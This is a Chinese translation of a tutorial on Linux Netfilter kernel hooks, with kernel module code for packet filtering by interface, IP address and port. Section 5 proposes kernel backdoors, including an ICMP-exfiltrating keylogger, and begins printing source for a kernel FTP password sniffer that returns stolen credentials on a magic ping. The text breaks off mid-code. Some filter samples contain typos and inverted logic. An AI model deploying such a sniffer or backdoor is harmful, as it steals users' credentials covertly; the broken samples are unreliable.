深入Linux网络核心堆栈

plain]view plaincopyprint?

    目录1-简介1.1-本文涉及的内容1.2-本文不涉及的内容2-各种Netfilterhook及其用法2.1-Linux内核对数据包的处理2.2-Netfilter对IPv4的hook3-注册和注销Netfilterhook4-Netfilter基本的数据报过滤技术[1]4.1-深入hook函数4.2-基于接口进行过滤4.3-基于地址进行过滤4.4-基于TCP端口进行过滤5-Netfilterhook的其它可能用法5.1-隐藏后门的守护进程5.2-基于内核的FTP密码嗅探器5.2.1-源代码:nfsniff.c5.2.2-源代码:getpass.c6-在Libpcap中隐藏网络通信6.1-SOCK_PACKET、SOCK_RAW与Libpcap6.2-给狼披上羊皮7-结束语A-轻量级防火墙A.1-概述A.2-源代码:lwfw.cA.3-头文件:lwfw.hB-第6节中的源代码

(注:这是在网上找到的关于内核网络编程的代码,我把它部分内容修改,编译并测试了一遍这里整理出来)

1 – 简介本文将向你展示,Linux的网络堆栈的一些怪异行为(并不一定是弱点)如何被用于邪恶的或者是其它形形色色的目的。在这里将要讨论的是将表面上看起来合法的Netfilter hook用于后门的通信,以及一种使特定的网络通信在运行于本机的基于Libpcap的嗅探器中消声匿迹的技术。Netfilter是Linux 2.4内核的一个子系统,Netfiler使得诸如数据包过滤、网络地址转换(NAT)以及网络连接跟踪等技巧成为可能,这些功能仅通过使用内核网络代码提供的各式各样的hook既可以完成。这些hook位于内核代码中,要么是静态链接的,要么是以动态加载的模块的形式存在。可以为指定的网络事件注册相应的回调函数,数据包的接收就是这样一个例子。

1.1 – 本文涉及的内容 本文讨论模块编写者如何利用Netfilter hook来实现任意目的以及如何将将网络通信在基于Libpcap的应用程序中隐藏。虽然Linux 2.4支持对IPv4、IPv6以及DECnet的hook,但在本文中将只讨论关于IPv4的话题,虽然如此,大部分关于IPv4的内容都同样可以运用于其它几种协议。出于教学的目的,附录A提供了一个可用的、提供基本的包过滤的内核模块。本文中所有的开发和试验都在运行于Intel主机上的Linux 2.4.5中完成。对Netfilter hook功能的测试在环回接口、以太网接口以及调制解调器点对点接口上完成。 本文也是出于我对Netfilter完全理解的尝试的兴趣而写的。我并不能保证文中附带的任何代码100%的没有错误,但是我已经测试了所有在这里提供的代码。我已经受够了核心错误的折磨,因此真诚的希望你不会再如此。同样,我不会为任何按照本文所述进行的操作中可能发生的损害承担责任。本文假定读者熟悉C语言编程并且有一定的关于可加载模块的经验。欢迎对本文中出现的错误进行批评指正,我同时开诚布公的接受对本文的改进以及其它各种关于Netfilter的优秀技巧的建议。

1.2 – 本文不涉及的内容本文不是一个完全的关于Netfilter的细节上的参考资料,同样,也不是一个关于iptables的命令的参考资料。如果你想了解更多的关于iptables的命令,请参考相关的手册页。 好了,让我们从Netfilter的使用介绍开始 …

2 – 各种Netfilter hook及其用法2.1 – Linux内核对数据包的处理 看起来好像是我很喜欢深入到诸如Linux的数据包处理以及事件的发生以及跟踪每一个Netfilter hook这样的血淋淋的细节中,事实并非如此!原因很简单,Harald Welte已经写了一篇关于这个话题的优秀的文章??《Journey of a Packet Through the Linux 2.4 Network Stack》。如果你想了解更多的关于Linux数据包处理的内容,我强烈推荐你去拜读这篇文章。现在,仅需要理解:当数据包游历Linux内核的网络堆栈时,它穿过了几个hook点,在这里,数据包可以被分析并且选择是保留还是丢弃,这些hook点就是Netfilter hook。

2.2 – Netfilter对IPv4的hook Netfilter中定义了五个关于IPv4的hook,对这些符号的声明可以在linux/netfilter_ipv4.h中找到。这些hook列在下面的表中:表1 : 可用的IPv4 hook

[plain]view plaincopyprint?

    Hook调用的时机NF_IP_PRE_ROUTING刚刚进入网络层的数据包通过此点(刚刚进行完版本号,校验和等检测),目的地址转换在此点进行;NF_IP_LOCAL_IN经路由查找后,送往本机的通过此检查点,INPUT包过滤在此点进行;NF_IP_FORWARD要转发的包通过此检测点,FORWORD包过滤在此点进行;NF_IP_LOCAL_OUT本机进程发出的包通过此检测点,OUTPUT包过滤在此点进行。NF_IP_POST_ROUTING所有马上便要通过网络设备出去的包通过此检测点,内置的源地址转换功能(包括地址伪装)在此点进行;

NF_IP_PRE_ROUTING 这个hook是数据包被接收到之后调用的第一个hook,这个hook既是稍后将要描述的模块所用到的。当然,其它的hook同样非常有用,但是在这里,我们的焦点是在 NF_IP_PRE_ROUTING 这个hook上。在hook函数完成了对数据包所需的任何的操作之后,它们必须返回下列预定义的Netfilter返回值中的一个:

表2 : Netfilter返回值

[plain]view plaincopyprint?

    返回值含义NF_DROP丢弃该数据包NF_ACCEPT保留该数据包NF_STOLEN忘掉该数据包NF_QUEUE将该数据包插入到用户空间NF_REPEAT再次调用该hook函数

以上返回值的含义可以见函数 nf_iterate :[cpp]view plaincopyprint?

    unsignedintnf_iterate(structlist_head*head,structsk_buff*skb,unsignedinthook,conststructnet_device*indev,conststructnet_device*outdev,structlist_head**i,int(*okfn)(structsk_buff*),inthook_thresh){unsignedintverdict;/**Thecallermustnotblockbetweencallstothis*functionbecauseofriskofcontinuingfromdeletedelement.*/list_for_each_continue_rcu(*i,head){structnf_hook_ops*elem=(structnf_hook_ops*)*i;if(hook_thresh>elem->priority)continue;/*Optimization:wedon’tneedtoholdmodulereferencehere,sincefunctioncan’tsleep.–RR*/repeat:verdict=elem->hook(hook,skb,indev,outdev,okfn);if(verdict!=NF_ACCEPT){if(verdict!=NF_REPEAT)returnverdict;gotorepeat;}}returnNF_ACCEPT;}

NF_DROP这个返回值的含义是该数据包将被完全的丢弃,所有为它分配的资源都应当被释放。 NF_ACCEPT这个返回值告诉Netfilter:到目前为止,该数据包还是被接受的并且该数据包应当被递交到网络堆栈的下一个阶段。 NF_STOLEN是一个有趣的返回值,因为它告诉Netfilter,“忘掉”这个数据包。这里告诉Netfilter的是:该hook函数将从此开始对数据包的处理,并且Netfilter应当放弃对该数据 包做任何的处理。但是,这并不意味着该数据包的资源已经被释放。这个数据包以及它独自的sk_buff数据结构仍然有效,只是hook函数从Netfilter获取了该数据包的所有权。 NF_QUEUE将数据包排入队列,通常是将数据包发送给用户进程空间处理 最后一个返回值NF_REPEAT请求Netfilter再次调用这个hook函数。显然,使用者应当谨慎使用NF_REPEAT这个返回值,以免造成死循环。

3 – 注册和注销Netfilter hook 注册一个hook函数是围绕nf_hook_ops数据结构的一个非常简单的操作,nf_hook_ops数据结构在linux/netfilter.h中定义,该数据结构的定义如下:

[cpp]view plaincopyprint?

    structnf_hook_ops{structlist_headlist;/*Userfillsinfromheredown.*/nf_hookfn*hook;structmodule*owner;u_int8_tpf;unsignedinthooknum;/*Hooksareorderedinascendingpriority.*/intpriority;};

该数据结构中的list成员用于维护 Netfilter hook 的列表,并且不是用户在注册hook时需要关心的重点。hook成员是一个指向nf_hookfn类型的函数的指针,该函数是这个hook被调用时执行的函数。nf_hookfn 同样在linux/netfilter.h中定义。pf这个成员用于指定协议族。有效的协议族在linux/socket.h中列出,但对于IPv4我们希望使用协议族PF_INET。hooknum这个成员用于指定安装的这个函数对应的具体的hook类型,其值为表1中列出的值之一。最后,priority这个成员用于指定在执行的顺序中,这个hook函数应当在被放在什么地方。对于IPv4,可用的值在linux/netfilter_ipv4.h的 nf_ip_hook_priorities 枚举中定义。出于示范的目的,在后面的模块中我们将使用NF_IP_PRI_FIRST。 注册一个Netfilter hook需要调用nf_register_hook()函数,以及用到一个nf_hook_ops数据结构。nf_register_hook()函数以一个nf_hook_ops数据结构的地址作为参数并且返回一个整型的值。但是,如果你真正的看了在net/core/netfilter.c中的nf_register_hook()函数的实现代码,你会发现该函数总是返回0。以下提供的是一个示例代码,该示例代码简单的注册了一个丢弃所有到达的数据包的函数。该代码同时展示了Netfilter的返回值如何被解析。

示例代码1 : Netfilter hook的注册

[cpp]view plaincopyprint?

    /**安装一个丢弃所有到达的数据包的Netfilterhook函数的示例代码*/#include<linux/kernel.h>#include<linux/init.h>#include<linux/module.h>#include<linux/version.h>#include<linux/skbuff.h>#include<linux/netfilter.h>#include<linux/netfilter_ipv4.h>MODULE_LICENSE("GPL");MODULE_AUTHOR("xsc");staticstructnf_hook_opsnfho;unsignedinthook_func(unsignedinthooknum,structsk_buff*skb,conststructnet_device*in,conststructnet_device*out,int(*okfn)(structsk_buff*)){returnNF_DROP;}staticintkexec_test_init(void){printk("kexecteststart…\n");nfho.hook=hook_func;nfho.owner=NULL;nfho.pf=PF_INET;nfho.hooknum=NF_INET_LOCAL_OUT;nfho.priority=NF_IP_PRI_FIRST;nf_register_hook(&nfho);///注册一个钩子函数return0;}staticvoidkexec_test_exit(void){printk("kexectestexit…\n");nf_unregister_hook(&nfho);}module_init(kexec_test_init);module_exit(kexec_test_exit);

这就是全部内容,从示例代码1中,你可以看到,注销一个Netfilter hook是一件很简单事情,只需要调用nf_unregister_hook()函数,并且以你之前用于注册这个hook时用到的相同的数据结构的地址作为参数。

4 – Netfilter 基本的数据报过滤技术4.1 – 深入hook函数现在是到了看看什么数据被传递到hook函数中以及这些数据如何被用于做过滤选择的时候了。那么,让我们更深入的看看nf_hookfn函数的原型吧。这个函数原型在linux/netfilter.h中给出,如下:

[cpp]view plaincopyprint?

    typedefunsignedintnf_hookfn(unsignedinthooknum,structsk_buff*skb,conststructnet_device*in,conststructnet_device*out,int(*okfn)(structsk_buff*));

nf_hookfn函数的第一个参数用于指定表1中给出的hook类型中的一个。第二个参数是一个指针,(在以前的内核版本中是一个双重指针现在已更改)该指针指向一个sk_buff数据结构,网络堆栈用sk_buff数据结构来描述数据包。这个数据结构在linux/skbuff.h中定义,由于它的内容太多,在这里我将仅列出其中有意义的部分。

sk_buff数据结构中最有用的部分可能就是那三个描述传输层包头(例如:UDP, TCP, ICMP, SPX)、网络层包头(例如:IPv4/6, IPX, RAW)以及链路层包头(例如:以太网或者RAW)的联合(union)了。这三个联合的名字分别是h、nh以及mac。这些联合包含了几个结构,依赖于具体的数据包中使用的协议。使用者应当注意:传输层包头和网络层包头可能是指向内存中的同一个位置。这是TCP数据包可能出现的情况,其中h和nh都应当被看作是指向IP头结构的指针。这意味着尝试通过h->th获取一个值,并认为该指针指向一个TCP头,将会得到错误的结果。因为h->th实际上是指向的IP头,与nh->iph得到的结果相同。

接下来让我们感兴趣的其它部分是len和data这两个域。len指定了从data开始的数据包中的数据的总长度。好了,现在我们知道如何在sk_buff数据结构中分别访问协议头和数据包中的数据了。Netfilter hook函数中有用的信息中其它的有趣的部分是什么呢?

紧跟在skb之后的两个参数是指向net_device数据结构的指针,net_device数据结构被Linux内核用于描述所有类型的网络接口。这两个参数中的第一个in,用于描述数据包到达的接口,毫无疑问,参数out用于描述数据包离开的接口。必须明白,在通常情况下,这两个参数中将只有一个被提供。例如:参数in只用于NF_IP_PRE_ROUTING和NF_IP_LOCAL_IN hook,参数out只用于NF_IP_LOCAL_OUT和NF_IP_POST_ROUTING hook。在这一个阶段中,我还没有测试对于NF_IP_FORWARD hook,这两个参数中哪些是有效的,但是如果你能在使用之前先确定这些指针是非空的,那么你是非常优秀的!

最后,传递给hook函数的最后一个参数是一个命名为okfn函数指针,该函数以一个sk_buff数据结构作为它唯一的参数,并且返回一个整型的值。我不是很确定这个函数是干什么用的,在net/core/netfilter.c中查看,有两个地方调用了这个okfn函数。这两个地方是分别在函数nf_hook_slow()中以及函数nf_reinject()中,在其中的某个位置,当Netfilter hook的返回值为NF_ACCEPT时被调用。在函数 NF_HOOK_THRESH ,判断nf_hook_thresh的返回值如果是1那么调用okfn()okfn为一个函数指针指向,根据不同情况分别指向 ip_forward_finish,ip_finish_output,ip_rcv_finish等。 ** 译注:Linux核心网络堆栈中有一个全局变量 : struct list_head nf_hooks[NPROTO][NF_MAX_HOOKS],该变量是一个二维数组,其中第一维用于指定协议族,第二维用于指定hook的类型(表1中定义的类型)。注册一个Netfilter hook实际就是在由协议族和hook类型确定的链表中添加一个新的节点。 以下代码摘自 net/core/netfilter,nf_register_hook()函数的实现:

[cpp]view plaincopyprint?

    intnf_register_hook(structnf_hook_ops*reg){structnf_hook_ops*elem;interr;err=mutex_lock_interruptible(&nf_hook_mutex);if(err<0)returnerr;list_for_each_entry(elem,&nf_hooks[reg->pf][reg->hooknum],list){if(reg->priority<elem->priority)break;}list_add_rcu(?->list,elem->list.prev);mutex_unlock(&nf_hook_mutex);return0;}EXPORT_SYMBOL(nf_register_hook);

linux/netfilter.h中定义了一个宏NF_HOOK,作者在前面提到的nf_hook_slow()函数实际上就是NF_HOOK宏定义最终要调用到的,在NF_HOOK中执行注册的hook函数。NF_HOOK在Linux核心网络堆栈的适当的地方以适当的参数调用。例如,在ip_rcv()函数(位于net/ipv4/ip_input.c)的最后部分,调用NF_HOOK函数,执行NF_IP_PRE_ROUTING类型的hook。[cpp]view plaincopyprint?

    returnNF_HOOK(NFPROTO_IPV4,NF_INET_PRE_ROUTING,skb,dev,NULL,ip_rcv_finish);

ip_rcv()是Linux核心网络堆栈中用于接收IPv4数据包的主要函数。在NF_HOOK的参数中,页包含一个okfn函数指针,该函数是用于数据包被接收后完成后续的操作,例如在ip_rcv中调用的NF_HOOK中的okfn函数指针指向ip_rcv_finish()函数(位于net/ipv4/ip_input.c),该函数用于IP数据包被接收后的诸如IP选项处理等后续处理。

如果在内核编译参数中取消CONFIG_NETFILTER宏定义,NF_HOOK宏定义直接被替换为okfn,内核代码中的相关部分如下(linux/netfilter.h):

[cpp]view plaincopyprint?

    #ifdefCONFIG_NETFILTERstaticinlineintNF_HOOK(uint8_tpf,unsignedinthook,structsk_buff*skb,structnet_device*in,structnet_device*out,int(*okfn)(structsk_buff*)){returnNF_HOOK_THRESH(pf,hook,skb,in,out,okfn,INT_MIN);}#else/*!CONFIG_NETFILTER*/#defineNF_HOOK(pf,hook,skb,indev,outdev,okfn)(okfn)(skb)

可见okfn函数是必不可少的,当Netfilter被启用时,它用于完成接收的数据包后的后续操作,如果不启用Netfilter做数据包过滤,则所有的数据包都被接受,直接调用该函数做后续操作。 ** 译注完 现在,我们已经了解了我们的hook函数接收到的信息中最有趣和最有用的部分,是该看看我们如何以各种各样的方式来利用这些信息来过滤数据包的时候了!

4.2 – 基于接口进行过滤

这应该是我们能做的最简单的过滤技术了。还记得我们的hook函数接收的参数中的那些net_device数据结构吗?使用相应的net_device数据结构的name这个成员,你就可以根据数据包的源接口和目的接口来选择是否丢弃它。如果想丢弃所有到达接口eth0的数据包,所有你需要做的仅仅是将in->name 的值与"eth0"做比较,如果名字匹配,那么hook函数简单的返回NF_DROP即可,数据包会被自动销毁。就是这么简单!完成该功能的示例代码见如下的示例代码2。注意,Light-Weight FireWall模块将会提供所有的本文提到的过滤方法的简单示例。它还包含了一个IOCTL接口以及用于动态改变其特性的应用程序。

示例代码2 : 基于源接口的数据包过滤

[cpp]view plaincopyprint?

    /**安装一个丢弃所有到达的数据包的Netfilterhook函数的示例代码*/#include<linux/kernel.h>#include<linux/init.h>#include<linux/module.h>#include<linux/version.h>#include<linux/skbuff.h>#include<linux/netfilter.h>#include<linux/netfilter_ipv4.h>#include<linux/netdevice.h>//structurenet_deviceMODULE_LICENSE("GPL");MODULE_AUTHOR("xsc");staticstructnf_hook_opsnfho;/*我们丢弃的数据包来自的接口的名字*/staticchar*drop_if="lo";unsignedinthook_func(unsignedinthooknum,structsk_buff*skb,conststructnet_device*in,conststructnet_device*out,int(*okfn)(structsk_buff*)){if((out!=NULL)&&(strcmp(out->name,drop_if)==0)){printk("Droppedpacketon%s..\n",drop_if);returnNF_ACCEPT;}else{returnNF_DROP;}}staticintkexec_test_init(void){printk("kexecteststart…\n");nfho.hook=hook_func;nfho.owner=NULL;nfho.pf=PF_INET;nfho.hooknum=NF_INET_LOCAL_OUT;nfho.priority=NF_IP_PRI_FIRST;nf_register_hook(&nfho);///注册一个钩子函数return0;}staticvoidkexec_test_exit(void){printk("kexectestexit…\n");nf_unregister_hook(&nfho);}module_init(kexec_test_init);module_exit(kexec_test_exit);

是不是很简单?接下来,让我们看看基于IP地址的过滤。

4.3 – 基于地址进行过滤

与根据数据包的接口进行过滤类似,基于数据包的源或目的IP地址进行过滤同样简单。这次我们感兴趣的是sk_buff数据结构。还记得skb参数是一个指向sk_buff数据结构的指针吗?为了避免犯错误,声明一个另外的指向skb_buff数据结构的指针并且将skb指向的数据结构拷贝给这个指针是一个好习惯,就像这样:struct sk_buff *psk = skb_copy(skb,1); /// 在不对数据包做写操作的情况下

这样,你访问这个数据结构的元素时只需要反引用一次就可以了。获取一个数据包的IP头通过使用sk_buff数据结构中的网络层包头来完成。这个头位于一个联合中,可以通过sk_buff->nh.iph这样的方式来访问。示例代码3中的函数演示了当得到一个数据包的sk_buff数据结构时,如何利用它来检查收到的数据包的源IP地址与被禁止的地址是否相同。这些代码是直接从LWFW中取出来的,唯一不同的是LWFW统计的更新被移除。

示例代码3 : 检查收到的数据包的源IP

[cpp]view plaincopyprint?

    unsignedchar*deny_ip="\x7f\x00\x00\x01";/*127.0.0.1*/staticintcheck_ip_packet(structsk_buff*skb){if(!skb)returnNF_ACCEPT;if(!(sdb->nh.iph))reutrnNF_ACCEPT;if(skb->nh.iph->saddr==*(unsignedint*)deny_ip){returnNF_DROP;}returnNF_ACCEPT;}

这样,如果数据包的源地址与我们设定的丢弃数据包的地址匹配,那么该数据包将被丢弃。为了使这个函数能按预期的方式工作,deny_ip的值应当以网络字节序(Big-endian,与Intel相反)存放。虽然这个函数不太可能以一个空的指针作为参数来调用,带一点点偏执狂从来不会有什么坏处。当然,如果错误确实发生了,那么该函数将会返回NF_ACCEPT。这样Netfilter可以继续处理这个数据包。示例代码4展现了用于演示将基于接口的过滤略做修改以丢弃匹配给定IP地址的数据包的简单模块。示例代码4 : 基于数据包源地址的过滤/* 安装丢弃所有来自指定IP地址的数据包的Netfilter hook的示例代码 */[cpp]view plaincopyprint?

    #include<linux/kernel.h>#include<linux/init.h>#include<linux/module.h>#include<linux/version.h>#include<linux/string.h>#include<linux/kmod.h>#include<linux/vmalloc.h>#include<linux/workqueue.h>#include<linux/spinlock.h>#include<linux/socket.h>#include<linux/net.h>#include<linux/in.h>#include<linux/skbuff.h>#include<linux/ip.h>#include<linux/tcp.h>#include<linux/netfilter.h>#include<linux/netfilter_ipv4.h>#include<linux/icmp.h>#include<net/sock.h>#include<asm/uaccess.h>#include<asm/unistd.h>MODULE_LICENSE("GPL");MODULE_AUTHOR("xsc");staticstructnf_hook_opsnfho;staticchar*parg="220.181.111.147";module_param(parg,charp,S_IRUGO);///thereisnotainet_addrinkernel.usein_aton.///orwriteone.unsignedintinet_addr(char*str){inta,b,c,d;chararr[4];sscanf(str,"%d.%d.%d.%d",&a,&b,&c,&d);arr[0]=a;arr[1]=b;arr[2]=c;arr[3]=d;return*(unsignedint*)arr;}unsignedinthook_func(unsignedinthooknum,structsk_buff*skb,conststructnet_device*in,conststructnet_device*out,int(*okfn)(structsk_buff*)){structsk_buff*sk=skb_copy(skb,1);structiphdr*ip;if(!sk)returnNF_ACCEPT;ip=ip_hdr(sk);if(ip->saddr==inet_addr(parg))///目标IP地址returnNF_DROP;elsereturnNF_ACCEPT;}staticintkexec_test_init(void){printk("kexecteststart…\n");nfho.hook=hook_func;nfho.owner=NULL;nfho.pf=PF_INET;nfho.hooknum=NF_INET_PRE_ROUTING;nfho.priority=NF_IP_PRI_FIRST;nf_register_hook(&nfho);///注册一个钩子函数return0;}staticvoidkexec_test_exit(void){printk("kexectestexit…\n");nf_unregister_hook(&nfho);}module_init(kexec_test_init);module_exit(kexec_test_exit);

4.4 – 基于TCP端口进行过滤

另一个要实现的简单规则是基于数据包的TCP目的端口进行过滤。这只比检查IP地址的要求要高一点点,因为我们需要自己创建一个TCP头的指针。还记得我们前面讨论的关于传输层包头与网络层包头的内容吗?获取一个TCP头的指针是一件简单的事情??分配一个tcphdr数据结构(在linux/tcp.h中定义)的指针,并将它指向我们的数据包中IP头之后的数据。或许一个例子的帮助会更大一些,示例代码5给出了检查数据包的TCP目的端口是否与某个我们要丢弃数据包的端口匹配的代码。与示例代码3一样,这些代码摘自LWFW。示例代码5 : 检查收到的数据包的TCP目的端口[cpp]view plaincopyprint?

    staticintcheck_tcp_packet(structsk_buff*skb){structsk_buff*sk=skb_copy(skb,1);structtcphdr*tcph=NULL;conststructiphdr*iph=NULL;structiphdr*ip;__be16dport;if(!skb)returnNF_ACCEPT;ip=ip_hdr(sk);iph=ip_hdr(skb);if(ip->protocol==IPPROTO_TCP){///TCP协议tcph=(void*)iph+iph->ihl*4;///TCP包头dport=tcph->dest;///目标端口if(ntohs(dport)==25){returnNF_DROP;}else{returnNF_ACCEPT;}}returnNF_ACCEPT;}

确实很简单!不要忘了,要让这个函数工作,deny_port必须是网络字节序。这就是数据包过滤的基础了,你应当已经清楚的理解了对于一个特定的数据包,如何获取你想要的信息。现在,是该进入更有趣的内容的时候了!

5 – Netfilter hook的其它可能用法

在这里,我将提出其它很酷的利用Netfilter hook的点子,5.1节将简单的给出精神食粮,而5.2节将讨论和给出可以工作的基于内核的FTP密码嗅探器的代码,它的远程密码获取功能是确实可用的。事实上,它工作的令我吃惊的好,并且我编写了它。

5.1 – 隐藏后门的守护进程核心模块编程也许是Linux开发中最有趣的部分之一了,在内核中编写代码意味着你在一个仅受限于你的想象力的地方写代码。以恶意的观点来看,你可以隐藏文件、进程,并且做各式各样很酷的,任何的rootkit能够做的事情。那么,以不太恶意的观点来看(是的,持这中观点人们的确存在),你可以隐藏文件、进程以及干各式各样的事情。内核真是一个迷人的乐园! 有了赋予内核级程序员的强大力量,很多事情成为可能。其中最有趣的(也是让系统管理员恐慌的)一个就是嵌入到内核中的后门。毕竟,如果后门不作为一个进程运行,那么我们怎么知道它的运行?当然,还是有办法让你的内核揪出这样的后门来,但是它们可不像运行ps命令一样容易和简单。现今,将后门代码放到内核中去的点子已经并不新鲜了。但是,我在这里所提出的是安放一个用作内核后门的简单的网络服务。你猜对了,正是Netfilter hook! 如果你已经具备必要的技能并且情愿以做试验的名义使你的内核崩溃,那么你就可以构建简单但是有用的,完全位于内核中的,可以远程访问的网络服务了。基本上一个Netfilter hook可以通过观察收到的数据包来查找一个“魔法”数据包,并且当接收到这个“魔法”数据包时干指定的事情。结果可以通过Netfilter hook来发送。并且该hook函数可以返回NF_STOLEN,以使得收到的“魔法”数据包可以走得更远。但是要注意,当以这种方式来发送时,输出数据包对于输出Netfilter hook仍然是可见的。因此用户空间完全不知道这个“魔法”数据包的曾经到达,但是它们还是能看到你送所出的。当心!因为在泄密主机上的嗅探器不能看到这个包并不意味着在其它中间宿主主机上的嗅探器也看不到这个包。 kossak与lifeline曾为Phrack写了一篇精彩的文章,该文描述了如何通过注册数据包类型处理器来完成这样的功能。虽然本文涉及的是Netfilter hook,我仍然建议阅读他们的这篇文章(第55期,文件12),因为它是一篇给出了一些非常有趣的点子的有趣读物。 那么,后门Netfilter hook可以干些什么工作呢?以下是一些建议:– 远程访问击键记录器(key-logger)。模块记录击键,并且当远程主机发送一个PING请求时,结果被送到该主机。这样,可以生成一个类似于稳定的(非洪水的)PING应答流的击键信息的流。当然,你可能想要实现一个简单的加密,这样,ASCII键不会立即暴露它们自己,并且某些警觉的系统管理员会想:“坚持,我以前都是通过我的SSH会话来键入那些的!Oh $%@T%&!”。– 各种简单的管理员任务,例如获取当前登录到主机的用户的列表或责获取打开的网络连接的信息。– 并非一个真正的后门,而是位于网络边界的模块,并且阻挡任何被疑为来自特洛伊木马、ICMP隐蔽通道或者像KaZaa这样的文件共享工具的通信。 — 文件传输“服务器”。我最近已经实现了这个主意,由此引起的Linux核心编程是数小时的乐趣:) — 数据包跳跃。重定向目的为木马主机指定端口的数据包到其它的IP主机和端口,并且从那台主机发回数据包到发起者。没有进程被派生,并且最妙的是,没有网络套接字被打开。 — 上面描述的数据包跳跃用于与网络中的关键系统以半隐蔽方式通信。例如:配置路由器等。 — FTP/POP3/Telnet密码嗅探器。嗅探输出的密码并保存相关信息,直到进入的“魔法”数据包要求获取它们。 以上只是一些想法的简短的列表,其中最后一个想法是我们在接下来的一节中将要真正详细讨论的。它提供了一个很好的了解更多的深藏于核心网络代码中的函数的机会。5.2 – 基于内核的FTP密码嗅探器

在这里展现的是一个简单的,原理性的,用做Netfilter后门的模块。该模块嗅探输出的FTP数据包,查找对于一个FTP服务器一个USER于PASS命令对。当这样一个命令对被发现后,该模块接下来将等待一个“魔法”ICMP ECHO(ping)数据包,该数据包应当足够大,使其能返回服务器的IP地址、用户名以及密码。同时提供了一个快速的发送一个“魔法”数据包,获取返回然后打印返回信息的技巧。一旦用户名/密码对从模块读取后,模块将接着查找下一对。注意,模块每次只保存一个对。以上是简要的浏览,是该展示更多的细节,来看模块如何做到这些的时候了。

当模块加载时,模块的init_module()函数简单的注册了两个 Netfilter hook。第一个用于查看输入的数据包(在NF_IP_PRE_ROUTING处),尝试发现“魔法”ICMP数据包。接下来的一个用于查看离开该模块被安装的主机的数据包(在NF_IP_POST_ROUTING处),这个函数正是搜索和捕获FTP的USER和PASS数据包的地方。cleanup_module()函数只是简单的注销这两个hook。

watch_out()是用于 hook NF_IP_POST_ROUTING 的函数,查看这个函数你可以看到,它的执行的操作非常简单。当一个数据包进入这个函数过后,将经过各种检查,以确定它是一个FTP数据包。如果它不是一个FTP数据包,那么立即返回NF_ACCEPT。如果它是一个FTP数据包,那么该模块进行检查是否已经存在一个用户名/密码对。如果不存在(以have_pair的非零值标识),那么返回NF_ACCEPT,该数据包最终能够离开该系统。否则,check_ftp()函数被调用,这是密码提取实际发生的地方。如果没有先前的数据包已经被接收,那么target_ip和target_port变量应当被清除。

check_ftp()开始于从数据包的开始查找"USER","PASS"或"QUIT"。注意直到USER命令处理之后才处理PASS命令。这样做的目的是为了防止在某些情况下PASS命令先于USER命令被接收到以及在USER到达之前连接中断而导致的死锁的发生。同样,如果QUIT命令到达时仅有用户名被捕获,那么将重置操作,开始嗅探一个新的连接。当一个USER或者PASS命令到达时,如果必要完整性校验通过,则记录下命令的参数。正常运行下,在check_ftp()函数完成之前,检查是否已经有了一个有效的用户名和密码串。如果是,则设置have_pair的值为非零并且在当前的用户名/密码对被获取之前不会再抓取其它的用户名或密码。

到目前为止你已经看到了该模块如何安装它自己以及如何开始搜寻待记录的用户名和密码。接下来你将看到当指定的“魔法”数据包到达时会发生什么。在此需特别注意,因为这是在整个开发过程中出现的最大难题。如果我没记错的话,共遭遇了16个核心错误:)。当数据包进安装该模块的主机时,watch_in()检查每一个数据包以查看其是否是一个“魔法”数据包。如果数据包不能提供足以证明它是一个“魔法”数据包的信息,那么它将被被watch_in()忽略,简单的返回一个NF_ACCEPT。注意“魔法”数据包的标准之一是它们必须有足够的空间来存放IP地址以及用户名和密码串。这使得发送应答更加容易。当然,可以重新分配一个新的sk_buff,但是正确的获取所有必要的域得值可能会比较困难,并且你还必须得正确的获取它们!因此,与其为我们的应答数据包创建一个新的数据结构,不如简单的调整请求数据包的数据结构。为了成功的返回数据包,需要做几个改动。首先,交换IP地址,并且sk_buff数据结构中描述数据包类型的域(pkt_type)应当被换成PACKET_OUTGOING,这些宏在linux/if_packet.h中定义。接下来应当小心的是确定包含了任意的链路层头。我们接收到的数据包的sk_buff数据结构的数据域指向链路层头之后,并且它是指向被发送的数据包的数据的开始的数据域。那么对于需要链路层包头(以太网及环回和点对点的raw)的接口,我们将数据域指向mac.ethernet或者mac.raw结构。为确定这个数据包来自的什么类型的接口你可以查看sb->dev->type的值,其中sb是一个指向sk_buff数据结构的指针。这个域的有效值可以在linux/if_arp.h中找到,但其中最有用的几个在下面的表3中列出。表3 : 接口类型的常用值类型代码 接口类型ARPHRD_ETHER 以太网ARPHRD_LOOPBACK 环回设备ARPHRD_PPP 点对点(例如拨号)最后,我们要做的是真正的复制我们想在的应答中送出的数据。到送出数据包的时候了,dev_queue_xmit()函数以一个指向sk_buff数据结构的指针作为它唯一的参数,在“好的错误”情况下,返回一个负的错误代码。我所说的“好的错误”是什么意思呢?如果你给函数dev_queue_xmit()一个错误构造的套接字缓冲,那么你就会得到一个伴随着内核错误和内核堆栈的dump信息的“不太好的错误”。看看在这里错误如何能被分成两组?最后,watch_in()返回NF_STOLEN,以告诉Netfilter忘掉它曾经见到过这个数据包。如果你已经调用了dev_queue_xmit(),不要返回NF_DROP!这是因为dev_queue_xmit()将释放传递进来的套接字缓冲,而Netfilter会尝试对被NF_DROP的数据包做同样的操作。好了。对于代码的讨论已经足够了,请看具体的代码。

源代码 : nfsniff.c

[cpp]view plaincopyprint?

    /*Simpleproof-of-conceptforkernel-basedFTPpasswordsniffer.*AcapturedUsernameandPasswordpairaresenttoaremotehost*whenthathostsendsaspeciallyformattedICMPpacket.Herewe*shalluseanICMP_ECHOpacketwhosecodefieldissetto0x5B**AND*thepackethasenough*spaceaftertheheaderstofita4-byteIPaddressandthe*usernameandpasswordfieldswhichareamax.of15characters*eachplusaNULLbyte.SoatotalICMPpayloadsizeof36bytes.*//*Writtenbybioforge,March2003*/#include<linux/kernel.h>#include<linux/init.h>#include<linux/module.h>#include<linux/version.h>#include<linux/string.h>#include<linux/kmod.h>#include<linux/vmalloc.h>#include<linux/workqueue.h>#include<linux/spinlock.h>#include<linux/socket.h>#include<linux/net.h>#include<linux/in.h>#include<linux/skbuff.h>#include<linux/ip.h>#include<linux/tcp.h>#include<linux/netfilter.h>#include<linux/netfilter_ipv4.h>#include<linux/icmp.h>#include<net/sock.h>#include<asm/uaccess.h>#include<asm/unistd.h>#include<linux/if_arp.h>#defineMAGIC_CODE0x5B#defineREPLY_SIZE36#defineICMP_PAYLOAD_SIZE(htons(iph->tot_len)\-sizeof(structiphdr)\-sizeof(structicmphdr))/*THESEvaluesareusedtokeeptheUSERnameandPASSworduntil*theyarequeried.OnlyoneUSER/PASSpairwillbeheldatone*timeandwillbeclearedoncequeried.*/staticchar*username=NULL;staticchar*password=NULL;staticinthave_pair=